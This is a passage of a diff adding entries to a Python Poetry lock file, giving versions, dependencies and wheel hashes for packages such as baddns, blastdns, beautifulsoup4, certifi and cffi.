"sha256:08aa7fae530c6b2361d7bdcbda1a7c454e330cc9dbcd03f5c23205e430e5c3be"}, + {file = "backrefs-6.2-py312-none-any.whl", hash = "sha256:c3f4b9cb2af8cda0d87ab4f57800b57b95428488477be164dd2b47be54db0c90"}, + {file = "backrefs-6.2-py313-none-any.whl", hash = "sha256:12df81596ab511f783b7d87c043ce26bc5b0288cf3bb03610fe76b8189282b2b"}, + {file = "backrefs-6.2-py314-none-any.whl", hash = "sha256:e5f805ae09819caa1aa0623b4a83790e7028604aa2b8c73ba602c4454e665de7"}, + {file = "backrefs-6.2-py39-none-any.whl", hash = "sha256:664e33cd88c6840b7625b826ecf2555f32d491800900f5a541f772c485f7cda7"}, + {file = "backrefs-6.2.tar.gz", hash = "sha256:f44ff4d48808b243b6c0cdc6231e22195c32f77046018141556c66f8bab72a49"}, +] + +[package.extras] +extras = ["regex"] + +[[package]] +name = "baddns" +version = "2.1.0" +description = "Check subdomains for subdomain takeovers and other DNS tomfoolery" +optional = false +python-versions = ">=3.10" +groups = ["dev"] +files = [ + {file = "baddns-2.1.0-py3-none-any.whl", hash = "sha256:1cf722f394e33eb26700c1ef717dcd01a451a241607cac3d62c95d355de5e514"}, + {file = "baddns-2.1.0.tar.gz", hash = "sha256:30058b22dffcf16f7f195e7b298b099cb817c264324cec06c47a264ac2b29309"}, +] + +[package.dependencies] +blastdns = "1.9.1" +cloudcheck = ">=9,<10" +colorama = ">=0.4.6" +dnspython = ">=2.4.2" +httpx = ">=0.27.0,<0.29.0" +python-dateutil = "2.9.0.post0" +python-whois = ">=0.9.6" +pyyaml = ">=6.0.1" +tldextract = ">=5.1.1" + +[[package]] +name = "beautifulsoup4" +version = "4.14.3" +description = "Screen-scraping library" +optional = false +python-versions = ">=3.7.0" +groups = ["main", "docs"] +files = [ + {file = "beautifulsoup4-4.14.3-py3-none-any.whl", hash = "sha256:0918bfe44902e6ad8d57732ba310582e98da931428d231a5ecb9e7c703a735bb"}, + {file = "beautifulsoup4-4.14.3.tar.gz", hash = "sha256:6292b1c5186d356bba669ef9f7f051757099565ad9ada5dd630bd9de5fa7fb86"}, +] + +[package.dependencies] +soupsieve = ">=1.6.1" +typing-extensions = ">=4.0.0" + +[package.extras] +cchardet = ["cchardet"] +chardet = ["chardet"] +charset-normalizer = ["charset-normalizer"] +html5lib = ["html5lib"] +lxml = ["lxml"] + +[[package]] +name = "blastdns" +version = "1.9.1" +description = "Async Python interface on top of the BlastDNS resolver" +optional = false +python-versions = ">=3.9" +groups = ["main", "dev"] +files = [ + {file = "blastdns-1.9.1-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:fc9a0c8808b90748dadc224e86a21fed75c1ccfa7df682906401790069262816"}, + {file = "blastdns-1.9.1-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:077dfd2eb020ea7d120c18263a3f646bcd8dfe1e0d6d1c1f604d5034892d3404"}, + {file = "blastdns-1.9.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:eb7833f85bbb8ac246ec55ca5aa9bf622f18d61f6566b4fbc6b3c42e99eae5a7"}, + {file = "blastdns-1.9.1-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:911516924ff9652cae0905ba218cd58f03d6e4c4d8972d8c00a3540496a15dad"}, + {file = "blastdns-1.9.1-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:693ba5b6820c6ab8cfd37202babeef354a2fca45ce51afcd8ffa912f2a50e82e"}, + {file = "blastdns-1.9.1-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:06ebb94fbcc130acfc73356b36f135f9ca655a5ced9780c3ff9bee6394c91639"}, + {file = "blastdns-1.9.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:99966441bfed1f5b45abf6c736be5d9bc141946ffe7582a1fbfd90386b16d4af"}, + {file = "blastdns-1.9.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:dd587b057bebdf2797cafa69923425312a038a56b4f48e740db1ce9584d4169a"}, + {file = "blastdns-1.9.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:f45a4fb8dc5d84bc94b266230329ca4e14ae1e43a65f45e1ba52c1ab8509964b"}, + {file = "blastdns-1.9.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:98b9ea17704491fd6d1e40a183222439403433ab2046f8e323ed10dcac5ab214"}, + {file = "blastdns-1.9.1-cp310-cp310-win_amd64.whl", hash = "sha256:8581a729dd9f32cca8edef0fd8c0529be81fe8ca7faef497f1712b5277c0b896"}, + {file = "blastdns-1.9.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:67f52aa4880bed47da178065c8b2935cc41f526a340e0a1dae90f2eb641f99f8"}, + {file = "blastdns-1.9.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9dda8352acba5c9b7e498c61f73f28120e312e441a37d26d8912ddb8c8876b11"}, + {file = "blastdns-1.9.1-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:b967cba75fd757b0e954cf4fb3d69c9fb39d95871316a9cf0bb0c2dc5e720077"}, + {file = "blastdns-1.9.1-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:7a51dce160ffee92b548553b8c01d50ffa6d1f4c16d153df6ec36cc04e4ce8cc"}, + {file = "blastdns-1.9.1-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:f9fb56f9f8a672518968f7a4d882718c75b4b42629baa76f55c8bb4f60c6d8d1"}, + {file = "blastdns-1.9.1-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:d0d23e22bdbf4fc8f4c32ff073603c56c6efb9f4911a168d9f004de664a5b13f"}, + {file = "blastdns-1.9.1-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:0e7603dc7e5fef925d03b5f28d75164e634ef2d6fc5b960671d0cf88380d7b70"}, + {file = "blastdns-1.9.1-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:8d2cc4189b98fd6d2ca2b41043f0a501455e8043562f9086fafb25c93ef053ad"}, + {file = "blastdns-1.9.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6e31c987da6b52c1194ec057c932400b72f729922fa18737b68a868df5911d27"}, + {file = "blastdns-1.9.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:da747e424bea405fc11ad7cb71ea36a082c100e40c0fc18855e209104f4e08d6"}, + {file = "blastdns-1.9.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:801224d7006b61789378addae8751aeb7c7877c8ecf19b515f4a856230fc68bc"}, + {file = "blastdns-1.9.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1ce70a659667f3adc7c0eac7d4b2c6f4c9f8429367254ec5308d04f36213f935"}, + {file = "blastdns-1.9.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ab93ca714cb913423e2780b2c3881a1303fa21948c5602795262c9bd51c702b"}, + {file = "blastdns-1.9.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:e46c938ce8eec89384c82b68fd62fa2f76935d4d68d1ba51f199008c1a8b056b"}, + {file = "blastdns-1.9.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b1eead79b192af541f4e89328aaed7e675254a56583d406dcc5cc527b1ed0662"}, + {file = "blastdns-1.9.1-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:d0d6a6d4654032b2fc1a1df1bb145afb83989c23160da5b629c64e797a6f3027"}, + {file = "blastdns-1.9.1-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:cb5745b8f4ea3929d090dfa18126b9094986ea2e5808a54cdb58a355e1360a82"}, + {file = "blastdns-1.9.1-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:7bd6bfc82e08624d1b40f1e4822b548f63829351e7f72080d69099b32fdb8361"}, + {file = "blastdns-1.9.1-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:e23dc048586e8b20523ecbc4c5931d8bc5485e79200207c4c6f91ad4b5ea980f"}, + {file = "blastdns-1.9.1-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:6c0472de6616e7ed20b5fb3784c41b52e64a0ff1079106be0140c6f00e19f6c6"}, + {file = "blastdns-1.9.1-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:775dbd6b7d1eccb3375a9f17f43723ddf79a1d12ae1d202d3f587101aff21db1"}, + {file = "blastdns-1.9.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:40bff362bd9be708197d5c548ad7f006688d763cada1faee44ae1e7d2acb06ef"}, + {file = "blastdns-1.9.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:408c30d61126c1cc0ecacb1011ed6ef2f34840e937e2def22f3ed943ad6ba8f4"}, + {file = "blastdns-1.9.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:9af85ef741d4f230ea55f12d4876b1123562f51ce9b9f7d58b6f52d3d84395c1"}, + {file = "blastdns-1.9.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3339b69fc959292a66ea724b0d5e9563c4ca0be7dd48fc78adb8914a3c82ab57"}, + {file = "blastdns-1.9.1-cp312-cp312-win_amd64.whl", hash = "sha256:074b0ffe33ed57d6bef65d0120fa508d855f49910a1ed51ee6c3920e6ffc73bf"}, + {file = "blastdns-1.9.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:3fe8fecc19fdb3ee6bcfcd4242c9e2433254c8c40d1b57fa40d6190eadd73da7"}, + {file = "blastdns-1.9.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b84013fc47cebeac3093f4feaeed3a4d5f45d82eebdffb73bde610e8e30f3399"}, + {file = "blastdns-1.9.1-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:7e2f7b28bff77a5c5627f1f85069309e3c4039d4d277756e84d2d5c229716c16"}, + {file = "blastdns-1.9.1-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:4668ccfde0215c685a81e3e121ef5d0eafccdb940bb7f9d3f7b8ffb004955b51"}, + {file = "blastdns-1.9.1-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:9f4b05ba48357b70f0ee9ff6dfc581aa3af55040e4b0db4e43c53e4c3d5c8e58"}, + {file = "blastdns-1.9.1-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:6da53361836a9b6d05daf391d8ce8f765de881e394827d5314021cb4c013eec7"}, + {file = "blastdns-1.9.1-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:a10dbdcda0ab8c9cf641163cb568d820d51282d848bdd0c8627a51f3f6038163"}, + {file = "blastdns-1.9.1-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:1f3400075b16905fd6837902511fed9c4b98b13de3cad8e3a78cf6d0e78f8124"}, + {file = "blastdns-1.9.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a32a1e51d34b9e926a9c218c166a254d57c120a2f7b963f04fe81fd3d45f35ed"}, + {file = "blastdns-1.9.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:fbd5f5cd402b3075254e03b608c48e25825ea806421437e74c5fc833716a86a6"}, + {file = "blastdns-1.9.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:3c398d2c3780e50e1a12515e0ada2eb7c510e6d699ad60d6c6382352ba4a5db5"}, + {file = "blastdns-1.9.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:11057e252c5545f1f89a4f5413a396366686799dd48b11e7c6dcad44d05df47e"}, + {file = "blastdns-1.9.1-cp313-cp313-win_amd64.whl", hash = "sha256:a0dc5dd486fec357fbcde1ff2f4dd3bcc4baa02323d46cc749c9a8f0fa810435"}, + {file = "blastdns-1.9.1-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:5bf0c8445d9d4cc0ce7668ddb2358e5c90ce711eb2001d5fd742fc30bdf6b9ff"}, + {file = "blastdns-1.9.1-cp313-cp313t-manylinux_2_28_armv7l.whl", hash = "sha256:0d3f1498eb37543ecbf92719aae8eda22c4cabbf14e1a1ba6c6a3e5a9157b2df"}, + {file = "blastdns-1.9.1-cp313-cp313t-manylinux_2_28_ppc64le.whl", hash = "sha256:1be2eb559002355311fd9f584a3ed4dc4b9b5fa4255864f39779203ad3d71228"}, + {file = "blastdns-1.9.1-cp313-cp313t-manylinux_2_28_s390x.whl", hash = "sha256:8b207ea568b9dfc62e0fc5a848afa15448311ec3f2dbcc519327399f6604f087"}, + {file = "blastdns-1.9.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:4f4f11a2fa4b9aa7d735252e4cfa515e51330d019065ed575a71ceb645a7fc13"}, + {file = "blastdns-1.9.1-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:072b0f20ed5a23ce9a69d93fc0f4f840ca03e92a02290640c32c08e51e85e09a"}, + {file = "blastdns-1.9.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:8985b6a5d88c57d9d3b566551b37a09349c0a30234167148c3d80423abbe9c8c"}, + {file = "blastdns-1.9.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:306e7ba2b9a0a3a9a38086ee8d187a33aae5979b588ad80bfb5ecd01633c298b"}, + {file = "blastdns-1.9.1-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:337771fc54faafbdda2206426c362839961253a4959135767e9014ff4db879ca"}, + {file = "blastdns-1.9.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:6015697b4fe9dc4ff2bc397367ae726c6e6cd87bdb86e1d6b5c6856d0914beb7"}, + {file = "blastdns-1.9.1-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:01b2f1da7fe1fb44fd1af52c337979bb7284b727f971d83aa761a4887a22adb2"}, + {file = "blastdns-1.9.1-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:147d815a686771709c96803319233218310efb0247644df4f0d6958cb4f9b65c"}, + {file = "blastdns-1.9.1-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:ad4d1bb7b9fa57a7aec368a84d6830663b8f16550769edf273cf21e992425824"}, + {file = "blastdns-1.9.1-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:f2af21539691a44409020ef2260b63ac8f4ae0ee838a8e21ba51d3d480c2015c"}, + {file = "blastdns-1.9.1-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:c110f4de3839e204dc0ec97da33d01cdc78c9ffde991f583b735bf9df4c90b8d"}, + {file = "blastdns-1.9.1-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:743b1501d9a625f6d0dd8ed668fd96241646bd6f70399992af43f8fef5fc42d9"}, + {file = "blastdns-1.9.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:4c4b0b8ca367405807b14d63f57805ca2af21c651afd07feae5db32fbaaa63f7"}, + {file = "blastdns-1.9.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:8f4141a04a887e45f77e92fe5ae290c017275985b96455c2aa05084220b12423"}, + {file = "blastdns-1.9.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:c0247ea74dcb9cb22fc319ab15518a6b2cd8e147b560e6908acaa97f4eb9912b"}, + {file = "blastdns-1.9.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:9131f9c496a6e67b46b5184fc49dc691340c1267982808460d3fdc9fbf00fc0d"}, + {file = "blastdns-1.9.1-cp314-cp314-win32.whl", hash = "sha256:f13198d57ac8606a542f273ffbeec0cf4d1b97ec5c367d217fdb7b25715888a6"}, + {file = "blastdns-1.9.1-cp314-cp314-win_amd64.whl", hash = "sha256:b1301428a30b6ad1137f47470f882da604329d6a566708045106e06c3cc5b13b"}, + {file = "blastdns-1.9.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:e5d4e64d0cdfef7e31d1e4c9124cc901d801fd1925c0add743dd4b5dac5ab48d"}, + {file = "blastdns-1.9.1-cp314-cp314t-manylinux_2_28_armv7l.whl", hash = "sha256:9078d39a13c467185dbe205b3121ef6667b452612e64a9a83670d38a4ff8f280"}, + {file = "blastdns-1.9.1-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:712ff165713d9624a0811d94e2a555af15339f11df7fae9535aebd0de3577730"}, + {file = "blastdns-1.9.1-cp314-cp314t-manylinux_2_28_s390x.whl", hash = "sha256:c31fb423922e491d87435d497a3ad571fdd1200b9d9a51322fbee2aff0275d15"}, + {file = "blastdns-1.9.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:269e2f84e83c5a4c48e05c8222670289935ef9504184f6742e8049ded205d67f"}, + {file = "blastdns-1.9.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:b2c751284fe68dcf70e3f9de11c6c7cbe228473c152563ad0a781fc4a95ed484"}, + {file = "blastdns-1.9.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:c3925dfff6f2fb7dcaa514ee3730a55d0824dce0023038cabf69f9e341d5a632"}, + {file = "blastdns-1.9.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:e163cd43d5206e224e8e5ef5b18af634e97d5e90f535f0906af783e13b7fcec5"}, + {file = "blastdns-1.9.1-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:806df0a4eb6071e52e7a4e192e37bb5e9ebb2f3756a0c580bf35b05d74fc2ca3"}, + {file = "blastdns-1.9.1-cp39-cp39-manylinux_2_28_armv7l.whl", hash = "sha256:cf5ef4db4ae6a3bd0134268aa16e67c9d5459e7e5f98f0c7099e11725b419adf"}, + {file = "blastdns-1.9.1-cp39-cp39-manylinux_2_28_i686.whl", hash = "sha256:bdc51bfbab1b281ebdcc73577b15c29acfc1f7f9330808fba19412cec6c5a334"}, + {file = "blastdns-1.9.1-cp39-cp39-manylinux_2_28_ppc64le.whl", hash = "sha256:d7cf3069c301414d551e5dff6bdd3e1f658cb2b40daec048308937b1568e4847"}, + {file = "blastdns-1.9.1-cp39-cp39-manylinux_2_28_s390x.whl", hash = "sha256:971fd55139390b62fe77df6800d2c371ad9ac88f9a09d59ab5f49ec3fd6d7136"}, + {file = "blastdns-1.9.1-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:51dc1a13de174cac97371866533660945fb7520f0918a4dd581c820808f91d5a"}, + {file = "blastdns-1.9.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:c72334f396dcbcda8dcbb5fd499c80b25bdaeffd406010ab66c77974734fb280"}, + {file = "blastdns-1.9.1-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:2fe5713ba7fd5e5a37ead8ce9007c37df9cd1d133a7085dda27a7d4c2e1bd954"}, + {file = "blastdns-1.9.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:666e33b09ff16c0c0cd47bee37621977341414588330b5c9ee40168ffd8e4480"}, + {file = "blastdns-1.9.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:8c604a43c9e938e6d1a1e865413d67b418109e5bedf82120173d5ac3353d1b92"}, + {file = "blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:03f5dd6a4dfa45d5972a3be01f704264b43bb6d02b86b7eba132070c9f18f286"}, + {file = "blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_armv7l.whl", hash = "sha256:1e2621a878baa1be84b910fb2b7d492184f484988f5d572746b2e555c89926d7"}, + {file = "blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_i686.whl", hash = "sha256:356fde1c078710dd93d627282c18945390d74cca7cad7c334a50624ebb7c9f9d"}, + {file = "blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_ppc64le.whl", hash = "sha256:7d189845c2982e354127426923fdda4342cf083ce5b75b4f8276ca7d9bfc196a"}, + {file = "blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_s390x.whl", hash = "sha256:1b41c108de569a822697dab53e15e2bc30fb59d3546c172903f9e66c19826282"}, + {file = "blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:fbab1fe79723547ee03c861368769e38605e87cfb8be2858f60ad497aaca2520"}, + {file = "blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:378e95b2723eabf23ffb04ed0bd326aa5661d4ae3396a8326ad2ffcc324d4bff"}, + {file = "blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:e4facab544265314dbf212ee015138ec823529e006b306e030ad5a4c2d4a6ec3"}, + {file = "blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:62269fee131b31f401dabe16f427dedf4ac6c0c5d7a302a52a7d685456772385"}, + {file = "blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:64581573a438d95f51e297aa6790a85f49ed00fcb2afdf5a459b911dce970619"}, + {file = "blastdns-1.9.1.tar.gz", hash = "sha256:e0ea09a9f0199a64aad8a6abe54e0f0de523a12e6f96da71e79af7fea9d12f2f"}, +] + +[package.dependencies] +orjson = ">=3.11.4" +pydantic = ">=2.12.4" + +[[package]] +name = "cachetools" +version = "7.0.6" +description = "Extensible memoizing collections and decorators" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "cachetools-7.0.6-py3-none-any.whl", hash = "sha256:4e94956cfdd3086f12042cdd29318f5ced3893014f7d0d059bf3ead3f85b7f8b"}, + {file = "cachetools-7.0.6.tar.gz", hash = "sha256:e5d524d36d65703a87243a26ff08ad84f73352adbeafb1cde81e207b456aaf24"}, +] + +[[package]] +name = "certifi" +version = "2026.4.22" +description = "Python package for providing Mozilla's CA Bundle." +optional = false +python-versions = ">=3.7" +groups = ["main", "dev", "docs"] +files = [ + {file = "certifi-2026.4.22-py3-none-any.whl", hash = "sha256:3cb2210c8f88ba2318d29b0388d1023c8492ff72ecdde4ebdaddbb13a31b1c4a"}, + {file = "certifi-2026.4.22.tar.gz", hash = "sha256:8d455352a37b71bf76a79caa83a3d6c25afee4a385d632127b6afb3963f1c580"}, +] + +[[package]] +name = "cffi" +version = "2.0.0" +description = "Foreign Function Interface for Python calling C code." +optional = false +python-versions = ">=3.9" +groups = ["main"] +markers = "platform_python_implementation != \"PyPy\" or implementation_name == \"pypy\"" +files = [ + {file = "cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44"}, + {file = "cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453"}, + {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495"}, + {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5"}, + {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb"}, + {file = "cffi-2.0.0-cp310-cp310-win32.whl", hash = "sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a"}, + {file = "cffi-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739"}, + {file = "cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe"}, + {file = "cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26"}, + {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9"}, + {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414"}, + {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743"}, + {file = "cffi-2.0.0-cp311-cp311-win32.whl", hash = "sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5"}, + {file = "cffi-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5"}, + {file = "cffi-2.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d"}, + {file = "cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d"}, + {file = "cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba"}, + {file = "cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94"}, + {file = "cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187"}, + {file = "cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18"}, + {file = "cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5"}, + {file = "cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6"}, + {file = "cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = 